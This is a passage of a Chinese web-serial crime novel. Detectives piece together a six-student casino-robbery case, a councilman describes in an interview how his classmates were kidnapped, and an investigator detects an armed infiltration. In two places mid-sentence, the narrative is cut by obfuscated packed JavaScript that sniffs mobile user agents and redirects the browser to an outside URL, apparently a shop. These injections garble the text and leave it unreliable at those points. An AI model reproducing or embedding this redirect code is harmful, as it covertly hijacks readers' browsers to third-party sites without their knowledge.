卫其宏差点给组长跪了,茫茫网海中(还得明网加暗网),就凭一个像素不算高的旧照片,试图定位一块手表,这和大海捞针有差别? 他就奇怪了,组长虽然脾气有点急,但是一向很讲究实际,这道题明显超纲了啊,还尽快答复,再等五年都不一定能有答复好不好? 一定是破不了案压力太大了。 卫其宏同情组长,也同情自己,咬着牙接过任务,“我这就去。不过……”他吞了口唾沫,还是决心给上司一点点心理准备,小心翼翼的开了口:“这不容易吧,专案组也有那边很多案子,都排到明年去了,再说他们也不是万能的。” 高尚桢眉毛一立,十分不满看着他,“这是什么话!只要这个表在市面上流通过,找到它分分钟的事,不要小看我们的专家!”他转过头,诚恳的望向程宥,“你说对不对,程宥调查官?” 程宥没有立即回答,他静静看了高尚桢三秒,又摘下眼镜,擦了三秒,重新戴好后推开椅子站起,“我去打个电话。” 18. 机械降神 卫其宏本来做好了被失物组冷嘲热讽一番,然后是“我们会调查,但成功机率很小,有情况通知,嘟——嘟——”敷衍过去,没想到电话打过去,对方居然没将他喷个狗血淋头,相反非常认真询问很多细节,最后还郑重承诺,“难度确实不小。但请你们高组长放心,我们绝对动用全部技术支援,配合你们调查” 他本来都下了“你不给组长干活我就一头撞死给你看”的决心,没想到进展竟如此顺利,天啊,莫非昨晚游戏里的小精灵跑出来,给他刷了层幸运BUFF吗? 这幸运小精灵的BUFF不仅笼罩了卫其宏,还惠及到高组长。 因为下午盛苒就拿到了飞行记录,当时他在莞荟苑,今天本来是程宥在这里值班,不过片区新借调上来的几名警察,他亲自过来一趟交代情况,正在套房里说着,就收到了扫描的手写记录。 飞行记录(手写副本) 机型:Citation 560 起飞机场:赛因港·约海沙机场 降落机场:黑夏川 ·小雨川机场 航班日期:42-01-05 起飞时间:07:45 (本地) 抵达时间:12:10 (本地) 机组成员:2 人(机长 / 副驾) 乘客人数: 5 备注:手写记录,原件保存在机组个人档案。 除去副机长,一共有6名乘客! 高尚桢攥了下拳,来到卧室反手掩上门,拨通盛苒电话,“……查得好,这么说除了他们四人,还有另外两个人,我推测也可能是学生。” 透过落地窗,他看到程宥正在树荫下看书,他的头微低,身体笔直,如同一杆标枪。 “……是的,文理学院的同级生已经查过了,还得扩大调查范围。不仅是文理学院,附近学校也要查,42年下学期有没有异常的,像退学,病休,延期……”他说着,看到一只毛茸茸的松鼠从另外一侧草坪蹦蹦哒哒的跑到树下,在程宥脚边停了一会,沿着他的裤脚一路攀延,三下两下窜上他的肩膀。 程宥仍旧继续看书。 “组长?” 高尚桢从愣怔中清醒,“……什么?你说……学校那边不怎么配合,我去法庭要许可令,啊?现在快三点了?没关系,我现在就去!” 他心情大好,握紧手机冲出楼,本想直接钻进车,远远的看见程宥听到动静向这边望来,不知怎么的就改了主意,明明时间很赶,还是小跑几步到他面前。 不等他靠近,那只松鼠毛茸茸的大尾巴就竖了起来,嗖嗖嗖几下爬上了附近高大的胡杨树,很快消失在枝桠间。 ……原来这松鼠不是痴呆。 高尚桢收起脚步,对着抬头看他的程宥笑,“谢谢了,程宥。” 程宥静了一下,“谢谢什么?” 高尚桢笑起来,“谢谢你机械降神啊,还能谢什么?” 程宥被此天外飞仙之语砸懵了。 他沉默地看着高尚桢,那双深灰色的眼睛里,初次流露出近乎茫然的情绪。过了几秒,他才像消化了BUG一样,给出了最标准回答:“如果你是指寻找手表的事情,不用谢,这是调查官的职责之一。”然后顿了顿,好像要说什么。 高尚桢在旁边好心的鼓劲,“你想说什么?说呗,你放心,我肯定如实回答,说!” 程宥被他怂恿着,慢吞吞的开了口:“世界上没有神,机械也不能降下一个神。”说到这里他又停了一秒,看了看高尚桢,“如果你是有神论者,无意冒犯。” 高尚桢觉得他一卡一卡的样子实在太有意思了,程宥好像随时都在用百分百的理性去处理外界信息,遇到这种不在标准答案之内的就容易卡壳。 不过高尚桢可不准备给他解释,就让他自己瞎琢磨去吧。他大手一挥,从程宥手里抢过那本书,“我看看是什么……《创伤与复原:心理危机干预进阶》……什么呀这是。” 他哈哈大笑起来,“你还没读完?” 程宥又开始擦他的眼镜,“你推荐的那本读完了,这是进阶版。”然后就看到高组长笑得更厉害了,简直跟股票一样一泻千里,跌破地下室。 这个人情绪波动太大,完全无法理解。 他想。 两个人都没有注意,406房间厚重的帷幕,轻轻被拉起一线。 林律奚站在窗边,望向楼下笑得前仰后合的刑警,和他旁边,正在缓缓戴眼镜的程宥。 大概是因为笑得太厉害了,当天高组长没有赶上法庭关门之前拿到法院令,不过也没有耽误事,第二天一早他就去堵陆法官家的门,在上班之前就将法院令拿到手里。 有了尚方宝剑,学校那边异常合作,在两日后的临时会议前盛苒已经捋清情况,她连夜准备好资料,示意大家看向白幕上的投影。 第一张是放大了了的赛因港局部地图,上面清晰显示出三所大学,分别是史亚德文理学院,西克大学,新林德女子学院,他们彼此相距不远,排列出等腰三角形。 “……就像之前我们知道的,林律奚有他自己的小圈子,而赛因内,这三所学校水平最高,学生们彼此来往密切,所以调查重点就放在这里。”盛苒解释道,“然后我们发现了这些情况。大家看吧。” 第二张幻灯滑入,上面是两行冷冰冰的黑体字。 李延 39-42年,就读西克大学心理学系 42年退学 目前在Y国行踪不明 齐晴 40-42年,就读新林德女子学院 42年退学,目前在苍都第二区第三病院。 新线索令会议室里再次陷入死寂。 隔了一会,卫其宏才举手,“盛姐……副组长,李延退学是什么原因?在Y国干什么?” 盛苒摇头,“李延和他们一样,家族都非常有背景,调查难度很大,不过可以确认当时这四个人,林律奚方楚,言行诺和李延,用魏编辑的话来说,都是‘一个小圈子’的人。” 卫其宏反问了一句,“那齐晴呢?” “普通家庭。”盛苒指了指齐晴的名字,“她的同学们大多不愿意多谈这件事。只有一个女生说的比较隐晦,说齐晴当年和文理学院一个男生走得很近。” 卫其宏瞬间恍然,“方楚!她和方楚是男女朋友吧?”他猛地一拍脑门,“难怪他每年都去苍都,敢情还是情圣!” 盛苒从眼镜下瞥了他一眼,表情严肃,卫其宏马上老实了。 “不要用这种态度谈论受害人。”盛苒严肃的提醒他,然后将下一张图片投上白布。 林律奚 38-43年,就读于史亚德文理学院,主修经济学, 42-43年休学,目前在杜蒙律所。 索骁 38-42年,就读于史亚德文理学院,主修经济学,42年退学 行踪不明。 方楚 38-42年,就读于史亚德文理学院,主修政治学,42年中转学,目前担任议员。 言行诺 38-42年,就读史亚德文理学院主修心理学 42年去世。 李延 39-42年,就读西克大学心理学系 42年退学 目前在X国行踪不明 齐晴 40-42年,就读新林德女子学院 42年退学,目前在苍都第三病院。 “这六个人,”她总结,“年龄相似,就读学校毗邻,而且彼此认识,所以我们可以合理认为就是他们就是当时飞机上的六名乘客,卷入了银脊案中。” 高尚桢点点头,目光环顾刑警们,“案情到这里,我们已经掌握了不少情况。” 他示意盛苒回到座位,自己拉着一块早已准备好的白板来到最前方,“我们来总结一下大致的时间线,卫其宏,你先来。” 卫其宏又被率先点名,他刚被盛苒敲打一下,老老实实的翻开记录小本,开始发言,“好的,组长,那我们可以就从最早开始。” “目前已知两名死者,白行人和宫达良。” “其中白行人37年退伍,38年以后行踪不明,43年被人目睹,宫达良41年入境后,行踪不明,这两人彼此认识,所以我们可以推测,最晚不超过41年,这两人加入了某个团伙,该团伙人数不知,很可能以罗马数字的刺青作为标识,主要在南部联区活动。” 高尚桢点点头,在白板最上游写下一行字。 41年南部联区团伙A (包括白行人,宫达良,其余人数不知) 卫其宏继续总结:“林律奚等六人42年1月前去银脊地下赌场,然后银脊赌场就被一伙匪徒打劫了,当中方楚受了伤,赌场老板也死了。”说到这他突然灵光一现,“上次林律奚被刺中胸膛,奇迹没死,医生说他是肺部早年受过伤,会不会也是这一次?” 高尚桢点点头,“有道理,不过目前不能下定论,关于这伙匪徒,我有个想法。”他环顾同事们,“无论是根据是方楚证词,还是界至野拍回来的现场照片,这并不是白行人和宫达良两人能完成的,应该人数很多。”说到这里,他顿了顿,“大家还记得潜入警局的那个人干了什么?” 组长主动提起这件让警方灰头土脸的事,在场警察都在一瞬沉默,还是安月见主动回答,“他剜去了宫达良胳膊上的皮肤刺青,上面有罗马数字VI。”她的眼睛刷的亮了起来,“VI是6啊!是不是他们起码有六个人!” 卫其宏立刻异议,“但是白行人胳膊上没有刺青。” 高尚桢看看他,“他胳膊上没有刺青,但是不代表别的地方也没有。” 卫其宏表示不服,“陈法医查过了,白行人身上除了左腿上有枪伤,没有刺青……”他说到这里声音突然顿住,,猛的伸手砸了下自己的头,“枪伤!那个枪伤很大,说不定正好轰在刺青上!” 高尚桢点点头,“白行人的枪伤情况很复杂,我们当时专注追查特种子弹和腿骨受伤,可能漏掉了一些,我已经让法医室查过,这是他们的报告。” 他将两页报告递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652187|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过去,其中结论一栏十分鲜明。 ——伤口处有氧化铁棕混合炭黑,一种最基本最大众的纹身染料,与之前送检的罗马VI纹身染料完全一致。 卫其宏接过报告,看到页脚打印的生成时间是凌晨4点59分,不由得打了个寒颤。 ……完,陈法医的美容觉彻底没了,组长肯定又得被他老同学一通怼。 警官们的思维被这两页报告彻底激活了,他们纷纷在本子上重点标注罗马数字,刺青。 这时高尚桢又再度补充最上面一行信息。 41年南部联区团伙A (包括白行人,宫达良,其余人数不知,以罗马数字刺青为特征) 他画了个向下的箭头,在箭头下写下二列线索。 42年1月,林律奚,方楚,索骁,言行诺,其余两人可能包括(齐晴,李延)去往黑夏川 银脊。 42年1月银脊赌场被劫,赌场老板周乐天去世,言行诺去世,方楚受伤。 “齐晴42年5月从转入第三病院治疗精神问题,之前医疗情况不清楚。”盛苒在旁补充。 高尚桢点头,又在这列线索中补上两条。 42年5月齐晴转入苍都第三病院。 42 年6月方楚转学,李延有出境记录,索骁则不知去向。 “继续总结。”高尚桢催了一句,卫其宏赶紧翻本子,“……然后就是今年9月14日,我们在废弃炼油厂发现白行人的尸体,不对,他先去了长罗……” 50年9月13日长罗白行人见到同乡田光 50年9月14 日红驼 废炼油厂白行人死亡 50年9月28日,红驼,废车回收山,宫达良林律奚被目击 50年 10月X日红驼 有人潜入警局,挖走宫达良刺青 50年 10月X日红驼 杜蒙办公室林律奚被刺 50年 10月X日长罗田光受到袭击 50 年 10月X日红驼 纪念医院有人假冒医生欲袭击林律奚 50年 10月下旬林律奚转院狙击手袭击,保镖死亡 高尚桢在白板上写下最后一行,退后几步,"十月的具体日期我就不写了,关键是顺序。”他面向大家,“还有补充吗?”看组员们摇头,“大家说说自己的看法,不管有什么,意见啊,问题啊,随便说。” “卫其宏,还是你先来。” 永远首当其冲的卫其宏不得不先喝两口可乐给自己降温,一边喝一边不断在脑子里组织语言,等可乐喝完大半,他的信心和得瑟劲也跟着一道回来了。 “银脊劫案吧,很多人都死了,包括老板周乐天死亡,和林律奚的学弟言行诺。” “组长要大家开脑洞,那我可有一堆问题,杀害白行人宫达良的凶手是谁?林律奚为什么要袒护?” “不过最最最奇怪的是这个!”卫其宏连用三个最字强调他是真的很奇怪。 “一个赌场劫案,死的人再多也不用这么神秘吧。怎么白行人档案还被中央情报司给封印了?怎么周乐天妻子还说是国家出手帮忙?” 高尚桢斜了一眼程宥,对方正在慢慢擦眼镜,闻言稍稍一顿,随即一脸平静的继续。 ……早晚那眼镜得被你擦秃噜皮。 他默默吐了句槽。 那边卫其宏仍在滔滔不绝,老搭档不在,他一个人把两个人的口水都包圆了,“……这么大案子,警方那边就跟没有这回事似的,像话吗?连个案件记录都没有,到底破了没有,人抓住没有,证人还活着吗?这都是迷啊。我现在越来觉得有些人真是不行,哪像我们,这要换我们组当时去,就我们组长……”到最后他还真情实感的感慨上了。 高尚桢不耐烦的打断他,“行了你,少说没用的。别人还有吗?” 安月见把手举了起来,“组长,我有点不太明白。” 和哇啦哇啦的卫师兄比起来,新人警察明显就稳重许多。 “六名学生里,除了当场死亡的言行诺,方楚和林律奚虽然受伤很重吧,看样子也都恢复过来了呀,还都回到各自轨道了;可为什么其他人,像索骁就失踪,李延也踪迹不明,齐晴甚至进了精神病院呢?” “总感觉他们受创的精神程度完全不同。我总觉得好像仅仅用PTSD来解释,不太通。” 这倒是个新角度,高尚桢从来没有考虑过。正当他思索时,盛苒忽然开口,“小安这个问题问得好。”她笑了笑,“我想这个问题方议员可以回答。” 高尚桢一顿,轻轻拍了下桌子,“没错,我们手里有牌了!” 安月见一头雾水,求救的看向卫其宏,后者得意的朝她挤挤眼睛,小声提示,“齐晴。”她开始还没明白,脑筋动了下,脸上终于露出恍然大悟的神情。 散会之前,高尚桢叫住了安月见,“给全国各个警局发个通报,问问他们那里有没有人,活的死的都行,身上有类似纹身。”他补充道,“缺失的也行。” 19. 案件编号:50-NL-HT-1103-02 案件编号:50-NL-HT-1103-11 证据编号:E-19 存储介质:光盘(CD-R,单层) 文件格式:.WAV(单声道,16bit PCM,44.1kHz) 文件名:E19_FieldInterview2_50-1103_13-42.wav 时长:00:34:36 归档时间:50年11月3日 13:42 归档人:西部联区红驼城刑事组盛苒(警号:047231) 校验码(MD5):2m3t4d0c03r168ff6fd88018d953bd23 “方议员,我们又见面了。” “孟秘书,我和这位警官单独谈,不要让别人来打扰。” ——轻轻关门声。 “方议员还是那么忙。” “不用兜圈子。请问盛警官,这是你传真过来的吧?” ——纸张传递的声音 “对。上面这个人名,议员你认识吧。” “对,齐晴。上大学时隔壁学校的学妹,不太熟。” “那这个呢?” ——沙沙,纸张翻阅的声音 ——啪,文件夹合拢的声音。 “这是苍都税务局的财务转账记录。上面显示从42年到现在,正葭集团从其企业账户向第三病院划付了多笔款项。我们核实过,这些全部用于齐晴的治疗费用。正葭财团是您家族产业吧。” “警方这么做合法吗?” “我们已经取得法庭许可,保证取证手段完全合法。” ——沉默。 “方议员?” ——沉默 “议……” “齐晴同学当年突发疾病,我对她比较同情,所以说服父亲支付她的医疗费用,我看不出哪里值得警方插手调查。” “齐晴同学说她身体非常健康,我们调查过,她也没有家族精神病史,为什么会突然得这种精神重病?” “我不清楚。没有其他的事的话,你……” “还有这个。” ——纸张递过的声音。 “42年飞行记录副本,上面很清楚,包括方议员在内,共有乘客六人。” ——沉默。 “上次你说只有你们四个人。” “呃,时间太久了,记不清了。” “方议员,你每年6月和12月都要去第三病院探访齐晴,八年间从没有错过一次,甚至在最激烈的竞选期间也是如此,又怎么会记不清和她有关的事?” ——沉默。 “请如实回答,议员先生。” “你们调查我。” “完全合法。” ——椅子挪动的声音。 “上一次你们上次说有两件凶杀案,可以告诉我些情况吗?” “目前两起凶案都还在调查中。不过我们怀疑这两起命案的死者都曾参与过银脊劫案。” ——当啷! ——水杯被碰翻的声音。 “你们找到了劫匪!” “目前不能下定论,所以我们需要你的配合。” “他们都死了?” “是的,具体细节……” “死得痛苦吗?” “议员?” “他们死得痛不痛苦!” “……很痛苦,死前饱受折磨。” ——沉默。 ——嘘气声。 “议员?” ——嘘气。 “议员你还好吗?需要我……” “林律奚知道这个消息吗?” “林律师再次遇到枪手袭击,请放心,他安然无恙。警方已提供贴身保护。” “又有人袭击他?” “是的。” “谁干的?” “我们还在调查,议员,我们需要你的帮助,这样我们也能结束当年的案子。” ——沉默。 “议员?” ——沉默。 “方议员……” “他们死的非常痛苦是吗?非常痛苦?” “……是的。” ——长长的呼气声。 “议员?” “你问吧。” “你和齐晴是否关系比较密切?我申明:我的问题只是为了确定基本事实,不会公开。” ——沉默几秒。 “我们曾约会过,不要误会,那时我还不认识现在的太太,一切光明正大。” “我相信。那么齐晴的精神问题和你无关吧?” “当然无……” ——突然沉默。 “议员?” “……我要抽根烟。” “请随意。” ——啪嗒,打火机打开。 “……不能说无关,要不是我,那就什么事都不会有了。” ——沉默。 “上次你告诉我们自己在银脊赌场受了伤,有劫匪闯入。” “对。我确实身中两枪,肝脾切除,醒来时在医院,我没有说谎。” “方议员,我不怀疑你的话,但是你上次也说对其他人的境况不了解,请问这是真的吗?” ——沉默。 ——啪嗒,打火机帽来回掰动的声音。 “方议员?” “……我只知道一部分。” “议员,如果你觉得陈述起来有困难,我来问可以吗?” ——沉默。 ”议员?” “……好。” “请问言行诺是当场中枪死亡吗?” ——沉默。 “你的脸色很难看,需要休息下吗?要不然喝点水?” “不需要……也不是。” “不是?不是什么?” ——啪嗒,打火机再次掰动的声音。 ——啪嗒啪嗒。 “……我不知道,但是他在赌场时应该没有受伤。” ——啪嗒啪嗒 ——啪嗒啪嗒。 “对不起,议员,我不太懂你的意思,言行诺没有受伤?” ——啪嗒啪嗒 ——啪嗒啪嗒啪嗒, ——啪嗒啪嗒啪嗒啪嗒啪嗒啪嗒 “他们……我是说除了我之外的其他人,包括齐晴,都被劫匪绑走了。我可能被当成死人了,很走运,呵。” “被绑走了?当成人质吗?” “我不太清楚,等我醒来他们都被救回来了,除了言行诺,他……” ——呼气的声音 “对不起,我得停一下。” ——呼呼呼, ——呼呼呼呼呼。 “你还好吗?” ——呼。 ——叹气声。 “议员,你最好……” ——沉重的呼吸声。 “……没事,我没事……” “……我就继续说吧,从来没跟人说过。” “我女朋友……齐晴她被救回来的时候,我还在ICU,等再见到她已经完全认不出……” ——突然沉默。 ——长时间沉默。 “我站在病房外,看着她被捆着……又哭又喊……我认不出来是她,不敢上去,我……” “……为什么被抓走的不是我呢?” ——沉默。 ——沉默。 ——长时间的沉默。 “……后来的事情你们也查到了,我父亲出面和她家里人商量,把她送到了第三病院修养,毕竟那里条件最好。” “对不起。” “你提到的言行诺……听说他的尸体被抛到悬崖下面去了,到现在也没有找到。” “很遗憾。” ——沉默。 “其他人呢?” “李延我没再见过,他出国了,我们再没联系过。” “林律奚……我们两家是亲戚,不过这些年见过他也就两三次,每次都只打个招呼,我也不知道他经历了什么……不想知道,就这样。” “索骁呢?” “不太清楚,我和他其实不太熟,他不是我们这个圈子里的。林律奚跟他关系不错。我猜应该是林家在照顾他,其他的不太清楚。” “好的,谢谢你,议员,你提供的信息对我们很宝贵,我还要再问几个问题。” “你问吧。” “当时除了你们,劫匪还带走其他客人了吗?” “我清醒已经是差不多十天以后的事,具体情况不太了解。” “劫匪要求赎金了吗?” “不知道。可能我父亲那边知道一些内情,不过除了齐晴的治疗,我们从来没有正式谈过这些事。” “你刚才提到他们被救回来了,被谁,警方吗?” “……我其实不太清楚内情。只是很偶尔一次听远房小堂叔,就是林律奚亲舅舅提起过,说是一支特种部队,名字很特别,好像叫朗基努斯之枪。” “朗基努斯之枪?你确定吗?” “不太确定,当时小堂叔和我父亲在聊天,被我无意中听见,他马上就把话岔过去了,后来没再提过。当然也可能是我搞错了,我们当时还是学生,怎么也不至于出动用一支特种部队。” “我知道了。你好像对这这些劫匪情况不太熟悉。” “是的,不熟悉。” “你没想过调查吗?” “怎么没想过?我真恨不得……我查了很久,每次都是死胡同。哪怕拼命当上议员,一打开当年卷宗还是绝密,什么都看不了。” “绝密级别?对议员也是?” “议员算个屁。” “给档案加密的是中央情报司?” “……你们红驼警方知道的真不少,对,是他们。真他妈的见鬼了,劫个赌场还能惊动到最高情报机构。” “最后一个问题,希望你能坦率回答我,这将对有我们很大帮助。” ——沉默。 “方议员。” ——啪,火机扔在桌子上的声音。 “行,你想问什么都行。” “还是上次那个问题,如果林律师在牵涉到凶案的情况下,仍要袒护凶手,那么你觉得最大可能性是谁?” “又是这个问题。” “怎么说……林律奚那个人心思深得很,无底洞,我们认识很多年没错,可除了知道他画画好之外什么也不知道。呵,以前还以为他会叛逆一把,去当画家……” “如果一定要有一个人,会是索骁吗?” “……差不多吧。” “据说他们两个人关系非常好,甚至有点不一般?” “据说?据谁说?别听他们系的人胡说八道。他们不是那种关系,林律奚怎么可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652188|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得上他。” “不过你要说袒护,林律奚倒是真的会袒护他,就像我对齐晴……别人理不理解都无所谓,我们自己明白就行了。” “他们是普通人,本来应该很平顺的过完一生。” “要不是我……要不是我们……” “所以你现在问林律奚不惜一切保护谁?那一定是索骁。” ============================= “方议员,我们又见面了。” 红驼城刑事组的办公室里,今日就剩下了高组长一个光杆司令,还有位临时调查官。 盛苒在机场发了音频给高尚桢,反正办公室空荡荡的,高尚桢索性点开了公放。这段对方楚的访问,这已经是他第二遍听。 他两只脚架在办公桌上,一面倾听音频一面观察着正襟危坐的调查官。对方安静的坐在自己座位上,双腿并拢,双手搭在膝上,矿泉水规规矩矩的放在手中。 录音播放的三十四分钟三十六秒里,他始终固定在座位里,连最细微的抖动也没有。无论是方楚长时间的沉默,还是最后的几近哽咽,都不曾触动他面部神经的毫与厘。 他只是坐在那里,默默倾听,直到录音结束。 ……一定是索骁。 在回响的余音里,高尚桢按下关闭键。 仿佛突然活过来一样,棕色镜片后,程宥凝结的眼神开始流动,“安刑警分析得很有道理。”他平静的开口,“受害者呈现出两种不同的反应,的确是因为有过不同经历。” “最好不要用‘经历’这个中性词,程宥。”高尚桢严肃的纠正他,“是遭遇,把一个女孩子逼疯的遭遇。” “遭遇。”程宥模仿他的语调,认真重复一次,“受害者有不同的遭遇。” 高尚桢点头,“除了这条,你有什么其他感想?你觉得他们为什么会劫持人质?他们大可以抢完赌场就走,没有必要劫持学生当人质。” “他们当时可能遇到了威胁。”程宥慢慢的说。 “可能在我这里不算数。”高尚桢盯入他的眼睛,“你对特种部队出动怎么想?会为几个学生出动吗?他们为什么会碰巧在那里?” 程宥沉默下去,他将矿泉水瓶从左手换到右手,瓶身扁进去几分,又缓缓回复了原本的形状。 高尚桢以为他不会回答,可他最终还是开了口,“特种部队出动,并不是为了解救人质。”他顿了顿,“只是为了执行任务。” 高尚桢将腿放下来,“是吗?”他摇摇头,“和我们警察还真是不一样。” 他看看再度静默下去的程宥,起身活动下肩膀,“看来是白板上又要多出几条线索了。”说着向前走去,没走两步,仿佛想起什么,站住回头,“对了,你上次说五百七十米的距离,合格的狙击手可以做到命中目标。” 他玩味的望着对方,“如果是这支朗基努斯之枪的狙击手,他的射击距离能有多远?一千米?还是一千五?” 程宥抬起眼睛,与他对视片刻,“在最优装备与天气的加持下,狙击极限可以达到三千米,不过那不是实战。”他缄默少许,接了下去,“真正实战中,一千五百米是可以重复的最大杀伤距离。” 对面人得到了答案,没有吭声,盯着他玩命的看。 程宥抬腕看了看表,从椅子里站起来,“卫其宏去修理厂取车,我去莞荟苑接替他5个小时。” 他正要走,高尚桢突然叫住他,神情略复杂,“你刚听过方楚的证词。如果有机会面对林律奚,知道该怎么做吧。” 程宥立刻回答:“对证人保密。” 高尚桢气得想打人,心想真神了我,他都不用张嘴我就知道得这么说。 “当然不是!这是他的弱点,别忘了危机心理学你都读了两本你!要活学活用!借方楚的证词把他的情绪调动起来,趁机撬开他的嘴。” “我要证词,证词!程宥!” 程宥沉默几秒,果断摇头,“这个技巧的活学活用我目前还没有掌握。” ……技巧你个大头鬼。 高尚桢感觉自己的五脏六腑都在翻,他勉强压下脾气,“那你总审过犯人……就算犯人吧?你的方法是什么?” “单独禁闭。”程宥反应极其迅速,“切断外界节律,使其丧失对时间和环境的辨识度……” 高组长不等说完赶紧把他截住,“别,别,这个肯定不行!你赶紧忘了你那套!” 程宥看着他,不点头也不摇头。 “我是说,就是趁他你对有这个斯德哥尔摩,总之类似的感情,差不多就这个,你努力一把。”高尚桢绝望的叹着气,还在做最后的垂死挣扎,“你懂我的意思没?啊?” “理解,但是不可以。”第一次,程宥明确拒绝案件主官的命令,“危机心理学上说,不能扩大这种情感依附,警察职责是保护和取证,而不是成为个人情感的寄托。必须保持适度界限,才能保证司法环节里证人的可靠性。” 高尚桢:…… 高尚桢真想爆粗口,自己杵在那儿磨了半天牙,不知怎么的,那股火气莫名其妙地就泄了。 他站在原地笑了起来。 “行了,从明天你在那边每周呆一天就够了。”他摇头,“反正结果都一样。” ——想干的干不了。 ——能干的不肯干。 ——结果都一样! ——啊啊啊啊啊这个程宥!!! 20. 5分钟 程宥在莞荟苑度过的五个小时极其平静。正如院方介绍的一样,这里安保系统极其发达,从人脸识别到自动报警系统都是一流水准,保安们举止低调,然而反应敏捷训练有素,这不免让分局临时借调来的几位便衣警官心里嘀咕这里苍蝇都飞不进来一只,到底要我们干什么。 不过他们也没法抱怨,毕竟好吃好喝好环境,虽然无聊,还勉强能忍。实在太闷,就趁午休凑在一起打扑克,正赶上今天三缺一,可惜小卫临时出去,这里只有调查官程宥,见他貌似也很无聊的样子。你瞅瞅我,我瞅瞅,终于推出一个上前相邀。程宥居然没拒绝,不动声色间敌酋灰飞烟灭,轻易就小胜十把,赢得在场的便衣面如土色,宁可到处巡逻,也不再想被剃光头。 下午两点半,卫其宏终于开着修好的橘红吉普回来了,他一脸春风的谢过调查官,自己噔噔蹬汇入了一帮老熟人中。 程宥走出套间,看了看手表,还有二十六分钟到下午三点,这个时间交通很好,3:05PM能保证到达警局,进行工作进展整理,最新证据入档,相关信息总结分析都绰绰有余,可以避开交通高峰回到旅馆。 他提起公文包,从楼梯走下,刚进入大厅,就碰到付助理抱着一堆文件从外进来,看到他眼睛微弯,笑容灿烂。 ——当证人把安全感过度集中于一个人时,可能通过群体互动造成扩散效应。 ——目前有扩散的趋势,要控制。 程宥根据危机心理学这本圣经迅速做出判断,他以极小的角度点点头,在对方有准备停下来和他打招呼时,脚步不停,目不斜视的与她擦肩而过。 ——成功摆脱。 他推开厚重的旋转门,来到门廊下,棕色镜片后的眼睛惯性环顾四周。 前门:保安两人,刚刚换岗,没有异常情况。 草坪:比昨天多了两只花栗鼠。 围墙:监视器正常工作,安保启动。 侧门区域:有辆吉福冷冻食品标识的卡车,系统无报警,车身无异常,轮胎磨损正常,后门锁…… 是军用锁。 程宥瞳孔微缩,很自然的望了望天空上的太阳,伸手打个哈欠,慢慢悠悠的走向侧门。 卡车里一名司机在等待卸货,他并没有低头玩手机,两只眼睛一刻不停的扫视四周,忽然发现有人由远处走近,当即身体后仰向,靠向椅背,半个身体躲进阴影里;待看清原来是个手拎公文包的西装男,正一边走一边仰望被常青藤覆盖的莞荟苑主楼,抽紧的脊背才稍稍放松。 西装男似乎一直被楼宇吸引注意力,频频回头,直到快到侧门才发现到这里停了辆卡车。 司机冷淡的瞥他一眼,转过头,目不斜视的望向前方,心里希望这个家伙快快滚蛋。 西装男看一眼侧门,模样有点犹豫,大概在想能不能从这边离开。就在这时他口袋里手机突然响了起来,他摸出手机,开始对着听筒大呼小叫:“……我到了,你在哪?你在北门?我就在北门,没看到你……你还是没看到我?行了,这里不是有个卡车吗?我就车旁边等你。” 他边说边凑近卡车,司机下意识的摸向腰侧,手伸到一半,看到西装男拿个破电话还在探头探脑的乱找,停下动作不耐烦的吼出声,“这是西门,不是北门!” 西装男啊了一声,显然没搞明白状况,不由凑近车窗,“什么?” 司机皱眉转头,正欲有所动作,西装男猛地飞起一肘,车窗刹那粉碎。他半个身体翻进驾驶舱,伸手一扣,直接钳上司机咽喉,顺势一带,将人死死按上了车窗框。 他压住司机喉咙,声音低沉,“几个人?装备?” 司机喉中咯咯作声,从他臂下拼命挣着脖子向上看,额头青筋一把拧起。 程宥手掌一起,随即重重一拍,司机两眼翻白,顿时昏死过去,他目光迅速朝副驾驶上扫去,见到掉入座椅中的蓝牙耳机和战术手套,身体向前一探,拈起塞入耳中,就听那边有个陌生声音响起:“老五,你那边怎么样?” 程宥没有出声。他抓起手套跳下车,跃入保安室。 里面空无一人,各个楼层的监控画面一切正常。 是回放画面。 他在半秒钟做出判断,拽出警务终端,在上面迅速输入几个字,“莞荟苑西端,伪装渗透,封锁周围道路”,直接发送给刑事组,重又回到卡车旁,蹲下身,手抵住耳机,凝神倾听。 “老五?”耳机那端声音有些迟疑,随后是脚步声,另外一人从旁喝出声:“出事了,断掉!”随即那端声音戛然而止。 程宥摘下耳机,迅速在脑中描摹声源位置。 ——脚步闷沉而短促,不是一楼大理石的回响。 ——耳机里只有机械嗡鸣,没有跑步机,水疗舱等设备运作声,不是三楼。 二楼! 来得及! 他猫着身,迅速贴近西侧玻璃门,掏出门卡,并不直接刷门,而是将它插入两扇玻璃门中间缝隙,自上向下迅速移行,果然在离地面一米左右,门卡去势被轻轻挡住。 他摘下棕色眼镜,凝目观察,果然其间一道极细金属线若隐若现。 他将门卡塞回口袋,取出警务终端,再度快速输入:“西翼门口有炸弹,注意观察!” 他俯身半蹲在门口,脑中仿佛有扳机扣下,念头如子弹,一颗接一颗,全速打出。 ——楼内起码两人,大概率不止,司机是老五。 ——车身十分烫手,初步判断停车在十分钟左右。 ——下车,制服保安,黑客覆盖监控,一分钟。 ——入楼,西门安放炸弹,一分钟。 ——每层电梯都需权限,黑客先要黑掉监控,逐层破解,被动等待,两分钟。 ——他们还目前在二楼,用时比预估长,原因? ——楼梯间。他们在楼梯间还放了炸弹。 